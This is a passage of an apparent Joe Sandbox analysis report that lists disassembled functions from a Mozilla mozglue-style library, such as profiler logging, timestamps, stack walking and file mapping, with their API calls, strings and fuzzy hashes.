__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
NtMapViewOfSection, xrefs: 6C949701
ntdll.dll, xrefs: 6C9496E3
MapViewOfFileNuma2, xrefs: 6C9497B1

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction ID: a69e7114fd2c529aaf8bda6bf5fbb1afb664b6c595e16acf99ded9f1c991ba8e
Opcode Fuzzy Hash: 9e873626e05b718dd0d4716eaea230b0ec05a1a6fd8a69d639903a9f65519545
Instruction Fuzzy Hash: 8A61D079608205FBDF00CF79D9C8B9B3BB8EB4AB18F218159E91593B80D730E944CB95

Function 6C947FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C948007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C94801D

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C94802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C94803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C94808D

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C94809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9480B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9480DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9480ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9480FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C948133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C948149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C948167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C94817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C948199

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 38fc88b4add392d64ebb5dadbf62f9f692645bec2c7880d4dae200dad712de56
Instruction ID: 67e5d6a1b57aa8a06ddf433e635df4424ac41c1def43da3fb594c8d05665adfe
Opcode Fuzzy Hash: 38fc88b4add392d64ebb5dadbf62f9f692645bec2c7880d4dae200dad712de56
Instruction Fuzzy Hash: 9251A5B1E00214ABDB00DBA5DC849EFB7B9EF69224F244126E815E7741E731E904CBA5

Function 6C996660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9BF618), ref: 6C996694
GetThreadId.KERNEL32(?), ref: 6C9966B1
GetCurrentThreadId.KERNEL32 ref: 6C9966B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9966E1
EnterCriticalSection.KERNEL32(6C9BF618), ref: 6C996734
GetCurrentProcess.KERNEL32 ref: 6C99673A
LeaveCriticalSection.KERNEL32(6C9BF618), ref: 6C99676C
GetCurrentThread.KERNEL32 ref: 6C9967FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C996868
RtlCaptureContext.NTDLL ref: 6C99687F

Strings

WalkStack64, xrefs: 6C996890

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a60f9504126bc6b6e28076be45f0461ee13ade641427e05c7b6e672f78194ecb
Instruction ID: 1ffa62b34be71430f6a2283fef29e6af899ffc88e8a1aa5d84438dbf0670c8ff
Opcode Fuzzy Hash: a60f9504126bc6b6e28076be45f0461ee13ade641427e05c7b6e672f78194ecb
Instruction Fuzzy Hash: BB51A771A09301AFDB51CF24C884A5BBBF8BF99B14F14492DF99897690D770E908CBD2

Function 6C97DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97DE73
GetCurrentThreadId.KERNEL32 ref: 6C97DF7D
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97DFC9
GetCurrentThreadId.KERNEL32 ref: 6C97DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C944A68), ref: 6C97DE7B

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C944A68), ref: 6C97DEB8
free.MOZGLUE(00000000,?,6C944A68), ref: 6C97DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C97DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C97E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C97DE83
<none>, xrefs: 6C97DFD7

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 8840d67768524095e3cc83b4e2696a4062af1c75c991ccd1c2bdfde60f30fd2e
Instruction ID: 7f651ca20c23550af7e217d5d857d7864fced48c9676f3fd7c0f14532e8efb9d
Opcode Fuzzy Hash: 8840d67768524095e3cc83b4e2696a4062af1c75c991ccd1c2bdfde60f30fd2e
Instruction Fuzzy Hash: 2741C53A706210ABDB209B65D8487ABB776EF9530CF640019E90997F41CB71D815C7F9

Function 6C98D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D52A
GetCurrentThreadId.KERNEL32 ref: 6C98D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D55F
free.MOZGLUE(00000000), ref: 6C98D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C98D5D3
GetCurrentThreadId.KERNEL32 ref: 6C98D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D652
GetCurrentThreadId.KERNEL32 ref: 6C98D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C98D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98D6A2

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction ID: 11b146b8dc9d64fc95c36ef78b382984252d94d2b0748d03f7e0dd801a42474f
Opcode Fuzzy Hash: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction Fuzzy Hash: 10516AB1609705EFC704DF24C884A9BBBB4FF89318F108A2EE94A87751DB30E945CB95

Function 6C955670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9556D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9556E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9556F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C955744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9557BC
GetTickCount64.KERNEL32 ref: 6C9558CB
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C9558F3
__aulldiv.LIBCMT ref: 6C955945
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C9559B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9BF638,?,?,?,?), ref: 6C9559E9

Strings

MOZ_APP_RESTART, xrefs: 6C9556CC

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0ee93393dbd798f42ac72bd235510c59fd99e436951f0d8ead5bc62aa2b62460
Instruction ID: 05790c3df5ad1fb34af10d8dbd0571f821934aa96cf63e7f6f052a122c3d3578
Opcode Fuzzy Hash: 0ee93393dbd798f42ac72bd235510c59fd99e436951f0d8ead5bc62aa2b62460
Instruction Fuzzy Hash: 9AC19B79A0C745EFCB05CF28C44066AB7F1BF9A718F558A1DE8C497661D730E885CB82

Function 6C97EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97EC8C

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97ECA1
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C97ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97ED19
CloseHandle.KERNEL32(?), ref: 6C97ED28
free.MOZGLUE(00000000), ref: 6C97ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C97EC94

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction ID: 9e67237bb8eb875031e9b467384efa877a4de4c277d9d803fd726e095751aca5
Opcode Fuzzy Hash: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction Fuzzy Hash: 2E21EF7D605108BFDB109F28D848AEB777AEB9626CF204210F91897B81DB71DC158BF9

Function 6C978ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C93EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C97B392,?,?,00000001), ref: 6C9791F4

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Strings

timeline-memory, xrefs: 6C979088
data, xrefs: 6C9790E8
timeline-fileio, xrefs: 6C9790A4
timeline-ipc, xrefs: 6C979096
timeline-overview, xrefs: 6C97907A
marker-table, xrefs: 6C97906C
stack-chart, xrefs: 6C9790B2
marker-chart, xrefs: 6C97905E
name, xrefs: 6C978F16

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction ID: 897379af96ec2ce43e076a8ca82ead57329b94498f9ea148fc05e65c0628d731
Opcode Fuzzy Hash: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction Fuzzy Hash: 86B1C4B1A02209ABDB18CFA9C8957EEBBB5FF95318F104419D506ABF80D731D945CBE0

Function 6C95C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C95C5A3
WideCharToMultiByte.KERNEL32 ref: 6C95C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C95C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C95CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C95CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95CAA5

Strings

0, xrefs: 6C95D30A
(null), xrefs: 6C95C596

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction ID: e909b9e930eedf9c536e9ea0f258f479c34a97032f2b0006fee39d1ed45b0c02
Opcode Fuzzy Hash: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction Fuzzy Hash: C7A1BB316093429FDB00DF28C98475ABBF5EF89748F54882DE88AD7741DB31E925CB92

Function 6C95C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C95C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C95C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C95C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95C891

Strings

inf, xrefs: 6C95C78F
NAN, xrefs: 6C95C7AD
INF, xrefs: 6C95C794
nan, xrefs: 6C95C7A8

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6451d5b0df2c2bcd0821f3e3637b45a18909cf4639a876aea2967860a8eee740
Instruction ID: 2fbbe5afb57f1ab8dd6e24dd54d30abc384726575ca95099c5cbe5f829687bc1
Opcode Fuzzy Hash: 6451d5b0df2c2bcd0821f3e3637b45a18909cf4639a876aea2967860a8eee740
Instruction Fuzzy Hash: 32518F719087849BDB00EF6CC58129AFBF4BF9E308F408A2DE9D5A7650E770D995CB42

Function 6C934480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C974843,?), ref: 6C9345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C974843,?), ref: 6C93468A
free.MOZGLUE(?,?,?,?,?,?,6C974843,?), ref: 6C9346C9
free.MOZGLUE(?), ref: 6C9346EF
free.MOZGLUE(?), ref: 6C934712
free.MOZGLUE(?), ref: 6C934735
free.MOZGLUE(?), ref: 6C934758
free.MOZGLUE(?), ref: 6C93477B
free.MOZGLUE(?), ref: 6C93479E

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction ID: ba3eb26eb0ed31d37b6dd96fb43570f51ae9ca494221bab7b16e629f04ec2ffa
Opcode Fuzzy Hash: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction Fuzzy Hash: A8B10871A001218FDB14CE3CC89476D7BB5AF52318F1A5678E81ADFB86D732D8448F91

Function 6C99AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C99AC52
CreateFileMappingW.KERNEL32 ref: 6C99AC7D
GetSystemInfo.KERNEL32 ref: 6C99AC98
MapViewOfFile.KERNEL32 ref: 6C99ACB0
GetSystemInfo.KERNEL32 ref: 6C99ACCD
MapViewOfFile.KERNEL32 ref: 6C99AD05
UnmapViewOfFile.KERNEL32 ref: 6C99AD1C
CloseHandle.KERNEL32 ref: 6C99AD28
UnmapViewOfFile.KERNEL32 ref: 6C99AD37
CloseHandle.KERNEL32 ref: 6C99AD43
CloseHandle.KERNEL32 ref: 6C99AD67

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction ID: d38983b6303b7319b5000e54ae360ec5cb4a7f1b335ffc3ce8cfae03ac794501
Opcode Fuzzy Hash: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction Fuzzy Hash: 313160B1A087449FDB00AF78D68926EBBF0FF85305F11492DE98587261EB709458CB92

Function 6C949620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
